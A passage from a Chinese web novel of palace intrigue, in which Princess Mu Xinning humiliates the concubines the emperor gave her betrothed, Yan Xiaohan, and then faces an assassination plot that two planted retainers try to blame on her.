慕馨宁感觉他好像生气了,脑海里闪过什么,还是提着裙摆,追到他的马前:“你要是不介意,咱们两个也可以睡一下。” 她不会沉迷于男色,但是偶尔沉沦一下,那也是及时行乐,如果没有对晏骁寒的仇怨,说真的,就他这张脸,确实是长在了她的心坎上。 晏骁寒风华无双的俊脸不辨喜怒,眼睛眯成一个危险的弧度:“你说什么?” 慕馨宁指了指晏骁寒,又指了指自己:“要不然,咱们两个睡一下?” 他冷笑,冰冷至极的俊脸上仿佛能刮下一层寒霜:“他们是不是都满足不了你?竟然把主意打到本官身上?” 第68章 艳福不浅 慕馨宁撇撇嘴,果然这厮心里还是不痛快了,她张了张嘴,想要解释,最后还是放弃了。 “殿下,萧蘅的信到了!” 马蹄声渐远,慕馨宁正盯着晏骁寒远去的背影出神,刘营满头大汗的从马背上下来。 慕馨宁看了信,然后对鸦羽道:“喊玄翊来。” “喊玄翊做什么,我这才刚回来几天,你就喜新厌旧了?” 鸦羽还没等退下,玄翎大步流星的从外头进来。 慕馨宁就把银矿的事情跟玄翎说了:“京中还有许多事需要你打理,这件事只能交给玄翊,你若是想跟他换一换,倒是也可以。” 玄翎喝了一盏凉茶,有些担忧:“你确定,那真是银矿?” 慕馨宁:“确定,已经跟晏骁寒和永平帝谈过了,分给国库一半,我们自己人开采,他们应该会派两个人去监督,但是银矿没有采完,万万不能让他们二人知道了具体位置,我担心他们会争抢。。” 玄翎惊愕,上一次跟慕馨宁分开,她还在因为夏千川跟一个女子接触亲密而吃醋,如今竟然也能放下儿女情长,干这么大的事情了? “我还是留在京城,挖矿的事情让玄翊那小子去吧,毕竟,我也舍不得你。”玄翎朝着慕馨宁抛了个媚眼。 慕馨宁没好气的瞪了他一眼,执笔给永平帝写了个折子。 “哎,听说你烧了信武侯府,又偷了他小库房的金子,是不是真的?”玄翎急匆匆回来,就是为了确定这件事。 慕馨宁点头:“十万两黄金,给皇兄两万五,剩下的都是我们的。” 玄翎不大高兴:“给他做什么,让他招兵买马,对我们痛下杀手吗?” 再说这银矿分给狗皇帝一半他就够不舍了,慕馨宁倒是大方,还给他金子。 慕馨宁搁下手里的笔:“国库也剩不下什么,过些日子南方会发生水灾,国库只会入不敷出,就当我是为了那些个流离失所的百姓。” 玄翎觉得慕馨宁脑子可能真的坏掉了,这没发生的事情,她怎么说的这么肯定? “你怎么知道这件事?” 慕馨宁:“学了点占卜之术。” 玄翎不信,但是这些日子他跟慕馨宁接触,确实觉得慕馨宁像是换了个人一样,莫不是哪来的孤魂野鬼,借尸还魂了? “哦,对了。”玄翎想起一件事:“听说信武侯这几天身体骨不大好,大夫请了好几个,如今也就是硬挺着,估计不到边关,人就快完蛋了。” 慕馨宁揉了揉眉心,有些犹豫:“他要是就这么完了,我那个好皇兄不会腾出空来对我们下手吧?” “那你的意思,我给他寻个好大夫?” 慕馨宁琢磨了一下:“给他留口气,让他有蹦跶的机会。” 也得让永平帝有所忌惮,她相信,只要信武侯不死,永平帝还会指着她来对付信武侯,所以各方面对她还会多几分包容。 此时,谷城。 天还没黑,前往边关的八万大军就早早地歇下了。 信武侯躺在床上脸色青白,营帐里的汤药味有些刺鼻。 听大夫的意思,信武侯病的很严重,需要好好调养方能保命。 可是如何调养,他们在行军打仗。 信武侯生死事大,可是眼下还有一件事,让众位将士们愁眉不展。 “哎,咱们的粮草估计还能维持三天,剩下的粮草连个影子都没有,这还没到边关,咱们不会饿死在路上吧?”一个身穿铠甲的将士对另一个同伴开口。 另一个同伴黑着脸将脚下的石子踢的老远,声音压的很低:“听说上次虞放领兵出征的时候,皇上想在粮草上做手脚,还是长公主自掏腰包,逼的皇上不得不掏银子的。” “哎,长公主虽然不是什么好人,倒是思虑周全,我们可就惨了。” 说到这里,他们竟然有些羡慕虞放军中的将士们。 “你的意思,皇上也克扣了咱们的粮草?” “谁知道呢。” 兵马未动粮草先行,这不只是战略,也是将士们的底气,可是瞧瞧现在,主将疾病缠身,其余粮草没个踪影,军中不免混乱。 皇宫,御书房。 永平帝打了个喷嚏,也问了信武侯这边的情况,得知信武侯身子骨不大好,永平帝的脸上有了几分笑意。 他展开慕馨宁让人递来的折子,银矿的事情本来他已经妥协,可是看见慕馨宁又提起流放的萧蘅之后,脸色又黯淡下来。 “好一个长公主,还真是重情重义,一个御前副统领,还劳她如此大费周章。” 信中,慕馨宁说那银矿是萧蘅一家发现的,萧蘅虽然是戴罪之身,但是也算是将功补过了,请永平帝赦免萧蘅一家老小。 慕馨宁已经提出了条件,如果永平帝想要那一半银矿,还不得不妥协。 永平帝气的一夜没有合眼,次日早朝之后,就召了晏骁寒。 晏骁寒看着面前的四个算得上国色天香的美人儿,一时间不明白永平帝所谓何意。 永平帝喝了口茶,然后对晏骁寒道:“听说你府上近身伺候的都是小斯,男人哪有女子心细,你身上的伤还没有痊愈,这几个就赏赐给你,让她们照顾你的饮食起居。” 永平帝已经做好了被晏骁寒拒绝的准备,毕竟他深知晏骁寒不近女色。 但是心中,不免有些期待。 他暂时是不能对慕馨宁下手,但是给她添堵的手段有的是。 如果晏骁寒收了这四个女子,慕馨宁定颜面无存,看慕馨宁笑话说慕馨宁风凉话的,那定也是大有人在,他有的热闹瞧。 永平帝心中又有些忐忑,如果晏骁寒真的拒绝,那他的计划就会失败告终。 没想到晏骁寒竟然痛快的答应了:“多谢皇上。” 永平帝:“……” 永平帝给晏首辅赐了四个美人儿的事情,朝堂和京城传的沸沸扬扬。 不近女色的晏首辅一下子收了四个美人儿,真是艳福不浅,但是晏骁寒如此反常,莫不是受了什么刺激? 难道是为了打长公主的脸,下长公主的面子? 不过也是,慕馨宁臭名昭著,怎么配得上晏首辅,晏首辅多养几个美人儿怎么了。 “主子,南阳郡主来了。”慕馨宁正在吃早饭,杜若气呼呼的从外头进来。 慕馨宁有些怀疑自己还没睡醒:“南阳郡主,她来干什么?” 杜若:“还能干什么,估计是知道皇上赐给晏首辅四个美人,来向你耀武扬威的。” 本以为慕馨宁得知晏骁寒收了四个美人会震惊,会伤心,甚至要去找晏骁寒和永平帝闹上一阵。 却见慕馨宁一口一个水晶饺,面色如常语气平淡:“皇上赐给晏骁寒四个美人儿,那四个美人儿也不包括南阳郡主,她跑到本宫这来上蹿下跳的做什么。” 慕馨宁见都没见南阳郡主,但是这话却传给了她,南阳郡主听了气的差点咬碎后槽牙。 “哼,本郡主知道,慕馨宁肯定伤心,即使那四个美人儿身份低微,那也比慕馨宁干净!” 第69章 上门挑衅 玄翎正巧路过,就听见花厅里南阳郡主拔高的嗓门,他沉着脸进门,目光锐利的将南阳郡主从头到脚打量个遍:“哪来的野狗,这里也是你能放肆的地方,也不照照镜子,你这德行,还不如我家阿宁呢。” 南阳郡主脸色难看,这人是谁,叫慕馨宁竟然那么亲热,难道是慕馨宁新养的男宠? 她忽然笑了:“怪不得晏骁寒养了四个美人慕馨宁无动于衷呢,原来她是有了新欢啊!” 玄翎冷笑一声,揪着南阳郡主的衣领,就往外拖。 “你个狗奴才,竟然敢对本郡主动手!” 南阳郡主这辈子还从来没有被如此对待过,杀猪一样的叫声响彻公主府。 “郡主……郡主……” 她的两个丫鬟想要上前解救她,玄翎直接拔剑:“滚出公主府,别逼我动手。” 两个丫鬟脸色惨白,不知该如何是好。 玄翎面不改色,直接用内力,干脆利落的将南阳郡主丢出了公主府的院墙,两个丫鬟匆忙出去寻人。 外头南阳郡主的惨叫声很是刺耳,玄翎嫌弃的用鱼缸里的水洗了手:“什么东西,连给阿宁提鞋都不配,还敢来公主府放肆。” 晏骁寒收了四个美人儿的事情,玄翎还担心慕馨宁会伤心,谁知慕馨宁脸上竟然半点伤感都没有。 她见玄翎进来就问:“吃饭了吗,要不要吃一点?” 玄翎坐在慕馨宁对面,抓起肉包子就大快朵颐。 慕馨宁给他倒了杯凉茶。 刚刚外头的事情慕馨宁也听说了,玄翎对她的维护让她心里很暖,她也不担心勤王府来找她的麻烦。 “你这几天在外头没少赚钱吧?”慕馨宁一脸期待的看着他。 玄翎将一沓银票摆在饭桌上:“都是定金。” 慕馨宁数了一下,足足有五千两。 她懒散的靠在椅背上,有些美滋滋:“本公主现在,也算是富婆了吧?” 之前没钱的时候,她睡觉都不踏实,现在一下子有了这么多钱,她忽然有些飘飘然了,这首先还得感谢信武侯那十万两黄金。。 只是不知道,跟宋菀菀那个京城第一首富的亲爹相比如何。 玄翎有些迟疑:“你封地那边,还没给你传信吧?” 慕馨宁脸色一变,忽然想起,上一世这个时候,封地那边好像闹了旱灾,这都入夏了,百姓们春耕的秧苗,全都旱死在了田地里。 “赶紧召集一些可靠的人,拿着钱去封地赈灾,要多打一些水井才行。” 玄翎惊讶,封地的信还没送来,慕馨宁竟然猜到了吗,难道她真的会什么占卜之术? 慕馨宁仔细回想了一下,连忙开口:“我记得,梧州边界有一条大凌河,要是能开渠引流,旱情就可以缓解。” 玄翎擦了擦嘴:“你忘了,那大凌河是谁的地界?” 慕馨宁面色微沉:“惠明公主。” 她现在跟宋菀菀已经是势不两立了,宋菀菀要是知道她的封地用水,不但不会给梧州一滴,就算给了,那也是加了料的。 “除非你尽快扳倒她。”玄翎道。 “扳倒她倒是不难,可是我给她选了一个好去处,只是时机未到。” 否则,皇上查吴昭仪小产的时候,她就直接把宋菀菀的罪证递上去了。 玄翎:“我先安排人去封地赈灾打井吧。” “银钱上不用吝啬,别让那头的百姓遭罪。” 玄翎看慕馨宁的目光,很是复杂。 以前慕馨宁只顾着从封地捞钱,剥削百姓的事情也不是没做过,如今倒真是像变了个人一样。 “主子,你快去看看吧!”杜若脸色难看,气冲冲的从外头进来。 “又怎么了?”慕馨宁觉得最近这丫头脾气见长了,动不动就生气。 谁知杜若竟然红了眼睛,眼泪都在眼眶里打转儿:“还不是皇上送给晏首辅那四个美人,她们不好好的在晏首辅那里待着,竟然来给您添堵了!” “你是说,她们来公主府了?” 杜若擦了擦眼泪,呜咽道:“可不是嘛,正在门口等着,说要给未来的当家主母敬茶!” 慕馨宁被气笑了,喊了刘营:“去,给本宫也找几个美人来。” 刘营几个你看看我我看看你,不明白慕馨宁是什么意思,难道还要跟外头那四个比美不成? 此时,公主府外,四个衣着光鲜、身段玲珑、容貌绝色的美人儿正在被看热闹的百姓们围观。 现在百姓们已经有了新发现,要想看热闹,首选长公主府。 “这就是皇上赏晏首辅的那四个美人儿吗,果然是国色天香!” “你们说,这晏首辅头一晚睡的哪一个,我觉得是红色衣服那个!” “嗳,也不一定就只睡一个,没准儿这四个挨个儿都睡了一遍呢!” “那首辅大人能受得了吗,别累坏了腰子……” 那些个年长的过来人已经聊到晏骁寒用的什么姿势,简直是唾沫横飞,仿佛他们亲眼所见一般。 那些个待字闺中的姑娘小姐们,却是红了眼睛伤怀万分,首辅大人这就有了枕边人吗,一下子还有了四个,那自己岂不是没有机会了? “红袖姐姐,我们要不然还是走吧,听说长公主脾气暴躁,万一杀了我们怎么办?” 胆子最小的绿芜扯了扯前头红衣女子,害怕的道。 黄衣女子瞪了绿芜一眼:“怕什么,别忘了我们可是皇上赏给首辅大人的,长公主敢杀我们,那就是跟皇上过不去!” “黄莺说的对,我觉得长公主不但不敢杀我们,还得对我们客客气气的。”紫色衣服的女子抬了抬下巴,语气肯定。 就在几个人凑在一起,开始商量怎么给慕馨宁添堵时,慕馨宁从府里出来了。 周围忽然变得鸦雀无声。 前头拐角处,停着一辆低调奢华的马车,马车里探出来的脑袋,在看见慕馨宁之后,就缩了回去。 “长公主可是出来了,你就不怕她真的要了你那四个美人儿的命?” 说话的,是今年的新科榜眼吴萸,晏骁寒多年前的同窗,如今在礼部任职。 “她要是敢杀,我倒是会高看她一眼。” 对面的晏骁寒神色淡然,端起茶来喝了一口。 他出门办事,听见下人禀报,所以顺道来瞧瞧。 如今的长公主,可不是那个一言不合就杀人的,她的手段,定会别出心裁,想到这里,晏骁寒有了几分期待。 吴萸听了晏骁寒这话,一脸诧异:“感情,你还不喜欢那四个美人儿?” 晏骁寒竟然能说出这种风凉话来,看样子是没把她们放在心上。 晏骁寒没再回应,吴萸犹豫了一下,又钻出了窗外。 本以为,这种事情,慕馨宁定会觉得丢人,得让下人把看热闹的百姓赶走,关起门来解决。 没想到,杜若竟然还搬来一把椅子,慕馨宁就那么大咧咧的坐在了大门口。 吴萸激动的又钻回车里:“她竟然准备在众目睽睽之下接受那几个美人儿敬茶了吗,不可能吧?” 说完不等晏骁寒回应,吴萸的脑袋又钻了出去。 “红袖……黄莺……紫薰……绿芜,见过长公主!” 四个人上前,朝着慕馨宁见礼。 慕馨宁打量四人一眼:“听说你们是来给本宫敬茶的?” 四人异口同声:“是……” 慕馨宁:“茶带来了吗?” 四人惊讶,一时间有些反应迟钝 慕馨宁笑了一声:“你们四个,来给本宫添堵,还得让本宫给你们备茶水?” 第70章 活该 看热闹的百姓觉得慕馨宁说的也有道理,毕竟哪个女人也不愿意喝小妾的茶,况且主母还没过门,小妾就上门挑衅了,简直是放肆。 “那……”四个人你看看我我看看你,都不知如何应对。 慕馨宁抬了抬手,府里走出四个丫鬟,每个丫鬟手里端着一个茶盏。 所有人都以为慕馨宁也就是逞嘴皮子功夫,到头来不还是忍气吞声了喝妾室茶了。 不等四个女子伸手接过,慕馨宁又慢悠悠开口:“常言道无功不受禄,你们也不能白得本宫的茶水,一盏茶一百两银子。” “长公主你这是要抢钱吗?”红袖第一个不满。 慕馨宁嗤笑,嘴角上扬:“怎么,你们不会一百两银子都没有吧?” 看热闹的人有些搞不明白慕馨宁到底是什么意思,都屏住呼吸眼睛不眨一下的盯着门口。 黄莺鼓起勇气开口:“我们月银二两半,还要孝顺家里老小,就算有钱也不可能给你的!” 慕馨宁有些吃惊:“哦,没钱啊,那本宫这茶可不能给你们了,要不你们回晏骁寒那里,或者皇兄那里,把茶水带来?” 从头到尾,慕馨宁一个脏字都没有说,骂人都不曾,可是四个人脸上却是火辣辣的,恨不得找个地缝钻进去。 众人看四个人眼里都是鄙夷: “也就是有一副伺候男人的好皮囊而已,要家世没家世,要背景没背影,连个傍身的银子都没多少,还敢来公主府撒野,真是不知死活。” “她们不是被晏首辅睡过了,晏首辅还不给她们银子花吗?” “你傻啊,首辅大人就算再有钱,那也得按照身份等级给吧,说白了她们以前就是伺候人的下人,一人五十两就是她们两年多的月钱了!” “长公主,我们好心来给你敬茶,你竟然当着这么多人的面羞辱我们,你简直是欺人太甚,要是皇上和首辅大人知晓此事,定不会和你善罢甘休的!”紫薰不堪受辱,有些恼羞成怒。 杜若早就等着收拾四个人的机会呢,见紫薰不知死活,她顿时气呼呼,双手掐腰扯着嗓子就开口:“你说说,我们长公主怎么羞辱你们了,打你们了还是骂你们了?” “我们好心来给长公主敬茶,长公主就应该以礼相待请我们进去,怎么会因为一盏茶水如此为难我们?”黄莺不服气,也开口道。 杜若冷哼:“天底下想进我们公主府的人多了,我们还要都客客气气的把人请进去以礼相待不成?再说,我们凭什么请你们进去,就因为你们被晏首辅睡过了?” 其实杜若还算得上有些教养的丫鬟,平时说话可不如慕馨宁粗俗,如今这也是被逼急眼了。 看热闹的人噗嗤一下笑出声来,以前只觉得慕馨宁这个长公主厚颜无耻,没想到天底下厚颜无耻之人竟然这么多。 这时,人群中响起一道声音:“长公主何必如此咄咄逼人,她们可是皇上赏给首辅大人的,她们来给你敬茶不也是看中你这个未来主母,你怎么能如此让人下不来台?” 众人一听,又觉得这人说的也有点道理,没准儿这四位姑娘真的是敬重慕馨宁所以才来敬茶的,慕馨宁也不能仗着自己长公主的身份如此为难人家。 慕馨宁盯着挤上前的人影看了半天,许久才想起来,这不是当初她出宫查抄皮大人府邸的时候,在宫门口遇见的那个纠缠晏骁寒的小姐吗? 这位小姐当初还口口声声的说她祸害了晏骁寒,还恳求她放过晏骁寒来着。 慕馨宁没有翻脸,面色依旧淡淡的:“朱小姐是吧,你觉得是本宫为难了这四位?” 朱小姐抬了抬下巴:“本来就是,明眼人都看出来了,就是你仗着长公主的身份欺负人。” 慕馨宁挑眉:“所以,本宫应该痛痛快快的喝了她们的妾室茶?” 朱小姐语气肯定:“理应如此。” 慕馨宁冷笑一声,懒散的翘起二郎腿,眼里闪过一抹杀意:“很好。” 拐角马车里,探出头的吴萸激见此情形,有些担忧:“骁寒,你说长公主会不会先拿那个朱小姐开刀,要是当着这么多人闹出人命来,明日一早肯定有官员弹劾她吧?” 如果是这样,到时候又有的热闹看了。 晏骁寒沉默,时不时翻一下手里的折子,仿佛并不在意外头发生的一切。 府门口,慕馨宁给了杜若一个眼神,杜若一抬手,府里走出来一个女子,女子肤白胜雪,容貌也不比那四个美人逊色。 就在众人不明白慕馨宁是何意的时候,就见慕馨宁指了指面前的朱小姐,转头对那女子道:“快去拜见朱小姐,从今天开始,本宫将你赏给她的父亲,礼部朱侍郎。” “朱小姐心地善良,定不会让府中人为难你一个妾室,以后受了什么委屈,就找朱小姐,她定会为你做主的。” 众人的狂笑声,响彻耳际,朱小姐顿时呆若木鸡,慕馨宁这是什么意思? 众人看她的眼神满是嘲讽和鄙夷: “她不是装好人吗,这下好了,给他爹找了个小妾,她娘知道了不得打死她!” “哼,谁叫她假好心了,活该!” 朱小姐回神,脸上滚烫的不行,感觉自己就像个没穿衣服的小丑。 她红了眼睛,当即哭出声来,一脸幽怨:“长公主……你……你简直欺人太甚……” 话音落,她捂着嘴便跑开了。 那四个美人儿也看了一通热闹,有的差点也笑出声来。 不过,又想起那个朱小姐起初是为了替她们说好话,一时间又开始埋怨起慕馨宁卑鄙来。 慕馨宁打量她们一眼,然后道:“敬茶吧。” 四人微愣,慕馨宁这是不打算为难她们了吗? 也是,她们毕竟是皇上赏给晏首辅的,要是慕馨宁过于为难,皇上和晏首辅那里慕馨宁都不好交代。 四个人,表面规规矩矩的给慕馨宁敬了茶,慕馨宁每盏茶喝了一口,而且每个人给了赏赐。 “皇上既然赏了你们服侍晏骁寒,以后定要尽职尽责才是。” 四人点头称是。 本以为慕馨宁只是说一些冠冕堂皇的话摆当家主母的派头,就听她继续道:“他身份尊贵,皇上十分看重,只有你们四个人服侍,本宫属实有些担心你们服侍不周,所以……本宫也给他添了四个美人儿……” 第71章 看她一丝不挂 此话一出,众人都惊讶的张大了嘴巴。 自打皇上赏给晏骁寒四个美人儿之后,所有人都觉得慕馨宁丢了脸面,定会悲愤交加,没想到她不但没有伤心,还主动给晏骁寒房里添人。 拐角处的马车里,吴萸差点尖叫出声:“骁寒你听见了吗,她……她竟然要再给你添四个小妾!” 晏骁寒眉头微蹙,好看的大手挑开了一旁的车帘。 公主府的四个女子也是婀娜多姿容貌绝色,她们从慕馨宁面前站好,恭敬的行礼,又给慕馨宁敬茶。 慕馨宁每个人赏了一百两银子,四人齐声开口:“奴家请长公主赐名!” 慕馨宁看了前头一眼:“既然他府上有了红黄紫绿,那你们就叫橙蕊、青黛、蓝绣、白栀,以后定要好好服侍晏骁寒才是。” 四人娇羞的低下头称是,慕馨宁轻轻挥手:“跟那四位美人儿一道儿走吧,有她们给你们带路,本宫就不送了。” 红黄紫绿直到现在都是一副目瞪口呆的样子,她们实在不敢相信,明明她们是来给慕馨宁添堵的,竟然被慕馨宁狠狠地反击了。 她们直到现在,连晏骁寒的一片衣角都没碰到,如今又多了四个美人跟她们争宠,以后她们的日子更艰难了。 感受着众人那幸灾乐祸的样子,她们是真想找个地缝钻进去。 马车那头,吴萸仿佛受了天大的刺激,他看着面前的晏骁寒,忍着幸灾乐祸,故作感伤:“这下好了,红橙黄绿青蓝紫都给你凑齐了,还多了个白。” 晏骁寒:“回府。” 吴萸:“……” 看着八个美人渐行渐远,有姑娘眼红:“真羡慕公主府那四个,竟然也能去服侍晏首辅,早知道如此,我也去公主府当下人了……” 只要每天都能看见晏首辅,她就能心满意足了。 公主府门口的众人散去,慕馨宁回了正院,走着走着就听见似有若无的啜泣声。 他诧异的回头,就见杜若正在低头抹眼泪。 慕馨宁蹙眉:“怎么了,哭什么?” 杜若吸了吸鼻子,哑着声音闷声闷气的开口:“奴婢本以为晏首辅是个值得托付终身的好男子,没想到他竟然也跟那些个三妻四妾的男人一样好色,天下乌鸦一般黑,主子,不然咱们还是跟他退婚吧。” 自家主子好歹也是长公主,何必非要去晏骁寒府上受那样的窝囊气。 晏骁寒不就是有一副好皮囊吗,天底下长得好看的男子多了去了,到时候她给主子找一百个,一天换一个不重样的! “放心吧,我当然不会受气,受气的只有别人。” 慕馨宁正要回房,元景捧着一大束茉莉走来。 “长公主,我见这茉莉开的甚好,且花香清淡,所以特意折了几支,送与长公主,多谢长公主这些日子的收留。” 元景一身青色长衫,五官标志,容貌和当初慕馨宁收的那些个男宠也不相上下。 杜若顿时就心思活泛起来,眼睛一个劲儿的在元景身上打量。 随即,杜若想起什么,可惜了,这元景是信武侯夫人的亲戚,不但要疏远,还要提防,她还是再给主子寻别的男子吧。 看着面前开的娇艳欲滴的茉莉,闻着沁人心脾的花香,慕馨宁顿感心情舒畅了许多。 她随手接过来,就问元景:“要走了吗?” 元景顿时一脸尴尬,他是来亲近慕馨宁,慕馨宁却盼着他走吗? 没错,慕馨宁就是故意的,元景来讨好她,定是为了信武侯夫人的交代。 吃她的,住她的,还一门心思的琢磨如何算计她,元景和元青能不能活,得看他们自己了。 元景硬着头皮开口:“……侯府还要修缮一段时日,怕是要叨扰殿下一段时间。” “没关系,你住的习惯就好。” 慕馨宁走远,随手将那一把茉莉递给杜若:“给老头儿瞧瞧,没什么问题插到房里。” 杜若点头,回头看了元景一眼:“您说她给您送花,是不是喜欢您?” 杜若担心元景讨好慕馨宁,慕馨宁一开心就忘记了他是谁的人,要是再想进一步做点什么,可是有些危险。 慕馨宁撇了杜若一眼,知道她那点小心思:“之前让刘营查他们的身份,查的怎么样了?” 杜若:“主子您问的真巧,刚刚刘大哥来跟奴婢说,原本这两日没查到什么,不过昨日元青从后门出去偷偷见了两个人,这才有了些线索。” “什么人?”难道是信武侯府来接头的下人? “好像是乡下大老远来的,说是家里遭了灾,来投奔他们兄弟的,不过刘营还说,那两个乡下人好像被人盯着。” 估计盯着他们的,是信武侯府的人,信武侯夫人想要拿他们威胁元青和元景。 慕馨宁点头:“悄悄把那两个人给控制起来,没准以后用的上。” 杜若应了一声,就去传话。 近日天气有些闷热了,虽然公主府的冰块取之不尽用之不竭,但是慕馨宁怕凉,基本上不用,所以哪怕就是安静的坐着,身上也会出一层薄汗。 她像往常一样沐浴,整个人泡进温热的水里,感觉每个毛孔都舒展开来,很是舒坦。 她随手拿了一本晏骁寒印刷坊里刚印出来的话本子,刚翻了两页,杜若端着奶茶进来。 “主子,外头好像打起来了。” 慕馨宁皱眉:“谁跟谁打起来了?” “不是咱们府上,好像是街上,打的挺激烈的。”她只在墙根听了一会子动静,可不敢冒头去看热闹,自己的小命要紧。 “街上跟我们也没关系。”慕馨宁又翻了一页书,喝了两口奶茶。 杜若要给慕馨宁擦背,慕馨宁直接把人给打发出去了。 没一会儿,杜若又回来了:“主子,奴婢打听了,是晏首辅路过咱们这里的时候遇见了刺客!” “就当做什么也不知道。” 晏骁寒死不死的,跟她没多大关系,不过一想到他那副好皮囊,慕馨宁心里就有些惋惜。。 杜若噘嘴:“奴婢还以为,您定会让人趁乱杀了晏首辅呢。” 自打晏骁寒收了皇上送的那四个美人,又让那四个来公主府闹了一场之后,杜若就对晏骁寒心灰意冷了。 既然自家主子跟晏首辅没感情,那就还是政敌,以慕馨宁的脾气,就应该趁机要了晏骁寒的命。 慕馨宁有些哭笑不得,没想到这丫头一生气,狠劲儿都上来了。 “杀了不大妥当,倒是可以趁机敲他一笔,你让刘营带人过去帮忙,救了晏骁寒之后,找他要两万两……” 话没说完,屋顶忽然传来诡异的响动,还没等主仆有所反应,随即一个人影从上头掉了下来。 “啊……”慕馨宁和杜若二人皆是吓了一跳,杜若尖叫出声。 好巧不巧的,那人偏偏掉进了慕馨宁的浴桶里。 慕馨宁脸都白了,她刚拔下头上的发簪准备出手,就看清了那人的脸。 男人俊美无双的那张脸上,挂着几滴水珠,他不经意看见慕馨宁一丝不挂的样子,顿时脸红到了耳根。 第72章 挑拨离间,反咬一口 刚刚他的手,好像碰到了…… 身体仿佛有了某种异样,他连忙转过身。 “抱歉,我不是有意的……” 慕馨宁脸色难看的捏住他的下巴,硬生生把那张脸给掰了过来。 等她确定面前之人真是晏骁寒之后,简直是不知道该说什么好:“怎么,府上八个美人儿都满足不了你,竟然还惦记着占本宫的便宜?” 晏骁寒一把拿开慕馨宁的手,又别过脸:“别忘了,当初是你想要占我的便宜。” “所以呢,你现在是闹得哪一出,欲拒还迎?” 慕馨宁的厚颜无耻,简直是让人无法想象,晏骁寒满腹才学,竟然无言以对。 “长公主,晏首辅的人来了,说是抓了刺杀晏首辅的刺客,要见晏首辅。” 外头响起刘营的声音,杜若还傻傻的杵在门口。 晏骁寒对慕馨宁道:“你收拾一下,我先出去。” 他整个人湿哒哒的从浴桶里出来,哗啦啦的流了一地的水,晏骁寒脸色冰冷,他这辈子所有的狼狈,好像都被慕馨宁见过了,有种想杀人的冲动。 杜若直接挡住了晏骁寒的去路,她愤愤不平的对上晏骁寒疑惑的目光,鼓足了勇气:“首辅大人,虽然您身居高位,但是您看了我家主子的身子,也不能白看吧?” 其实杜若还是希望晏骁寒能把府上那几个美人给打发了,将自家主子娶进门好好对待,就算不是情深意浓,好歹也能相敬如宾。 晏骁寒眼里闪过一抹冷意,转头看向慕馨宁:“怎么,是要讹诈本官两万两白银,这件事方能罢休?” 慕馨宁面色微变,没想到刚刚的话晏骁寒竟然听见了。 她不觉得自己哪里错了,开口就道:“本宫不争不抢,那也是凭自己本事赚的。” 晏骁寒嘴角扯过一抹冷笑:“记住你说的话,但愿稍后你还能这么觉得。” 晏骁寒出门,慕馨宁很快也穿好了衣服出来,但是头发还湿着,风一吹,就打了两个喷嚏。 杜若连忙取了大氅,从头到脚将慕馨宁包裹住。 慕馨宁看着跪在地上的两个黑衣人,一时间有些反应不过来。 “元青,元景,你们这是做什么?” 二人看了慕馨宁一眼,元景一脸坚决,率先开口:“长公主放心,这都是我们两个人的主意,断然不会牵连公主府。” 这欲盖弥彰的话,但凡是个聪明的,都能听出来另一层意思。 感受到晏骁寒眼里渗人的寒芒,慕馨宁冷笑出声:“所以,本宫管你们吃管你们住,你们却以本宫的名义刺杀晏骁寒,如此恩将仇报的本事,是侯府教你们的?” 慕馨宁只知道二人心思不正,正等着二人出手,到时候她好抓了现行,再跟信武侯夫人算账。 只是没想到,这两个人反其道而行之,不把阴谋诡计用在她公主府,反而招惹晏骁寒了。 其实,元景和元青也是想接近慕馨宁的,只是他们还没等靠近,就被鸦羽和杜若给拦住了。 元景折了茉莉,好不容易有机会讨慕馨宁欢心,慕馨宁不感动也就算了,竟然问他是不是要离开,他也算是看明白了,慕馨宁这条路走不通,那就只能想别的法子了。 只要挑拨了慕馨宁和晏骁寒的关系,那他们的任务也算完成了,对侯夫人那边也算有了交代。 “长公主误会了,我们……”元青看了一眼晏骁寒,欲言又止。 “说。”慕馨宁冷声命令。 元青继续道:“我们也是见长公主被晏首辅府上的四个女人欺负,所以想给长公主出口恶气。” “您已经和晏首辅有了婚约,他竟然任由那几个人来为难长公主,定也没有把您放在心里。”元景理直气壮。 晏骁寒背在身后的手紧握成拳,皇上赏的那四个女人来招惹慕馨宁,他是毫不知情的,况且慕馨宁把那四个人教训了一顿,也没吃亏。 而且,慕馨宁未经过他的同意,私自给他添了四个美人,要不是他给慕馨宁几分颜面,那四个美人也进不了他的府门,他仁至义尽,并不亏欠慕馨宁什么。 “好的很。”慕馨宁看了晏骁寒一眼,沉着脸,抽出刘营身上的剑,指向二人:“把你们刚刚说的话,再说一遍。” 死到临头,还敢挑拨离间,如果晏骁寒信了他们的话,与她为敌,那岂不是如了信武侯府的愿。 元青脸色都白了,慕馨宁是什么样的人,街头巷尾早就传遍了,万一她一个气急败坏,真的把他们杀了怎么办? 元景一脸坚决,忽然抬起下巴伸长脖子,让慕馨宁下手更方便:“都是我们兄弟二人自作主张,劳烦长公主给个痛快。” 元青也抬起自己的脑袋,伸长脖子闭上了眼睛。 慕馨宁倒是有些佩服他们的骨气。 “是吗,那本宫先让你们见两个人。” 慕馨宁说着,将手里剑还给刘营。 没想到,她刚把那两个人给控制住,这么快就用上了。 二人很快就被带了过来,是一个头发花的老太太,手里还牵着一个脚步不稳的两岁女娃娃。 元景和元青都变了脸:“外婆,你们怎么在这里!” 老太太眼神不大好,看了半天也没认清谁是谁,但是听见兄弟两个的声音,顿时就找到了方向,迈着两条腿吃力的走近。 “小景,小青,你们原来真在这里做工……” 晏骁寒抬了抬手,侍卫将抵在二人身前的剑收了起来。 慕馨宁不大爱管闲事,也不大爱看热闹,几个人说了半天,大概也听出一二来。 原来元青和元景是被老太太收养的,自小跟村里一个断腿的镖头学了点功夫,老太太的儿子患了重病,老家山匪横行民不聊生。 元青和元景想着外出做工赚钱贴补家用,给老太太儿子治病。 没想到竟然被人给卖到了那种地方,知道他们有两下子功夫,所以每天不是给他们下药就是绑了手脚,几经转折才到了信武侯府上。 两个人说的隐晦,老太太倒是没听出来,但是慕馨宁和晏骁寒几个都猜到了。 老太太对慕馨宁就是一顿千恩万谢,谢慕馨宁收留兄弟两个,又招待她和孙女吃喝。 等把一老一小打发走,元景和元青主动坦白了自己的罪行。 他们确实是受信武侯夫人指使,只要能对付慕馨宁,他们不但可以从那种肮脏的地方脱身,还能给他们一大笔银子安家。 本以为,能解开晏骁寒对自己的误会。 没想到晏骁寒面色更难看:“演完了?” 慕馨宁皱眉,人都蒙了:“你说什么?” 即墨冷哼:“长公主,这种栽赃陷害别人脱身的戏码,我们主子看够了,劳烦你换个新颖的。” 所以,晏骁寒看了这么久,还是一口咬定指使元景和元青杀他的幕后之人就是慕馨宁。 慕馨宁气的磨牙,她跟晏骁寒这梁子,算是过不去了。 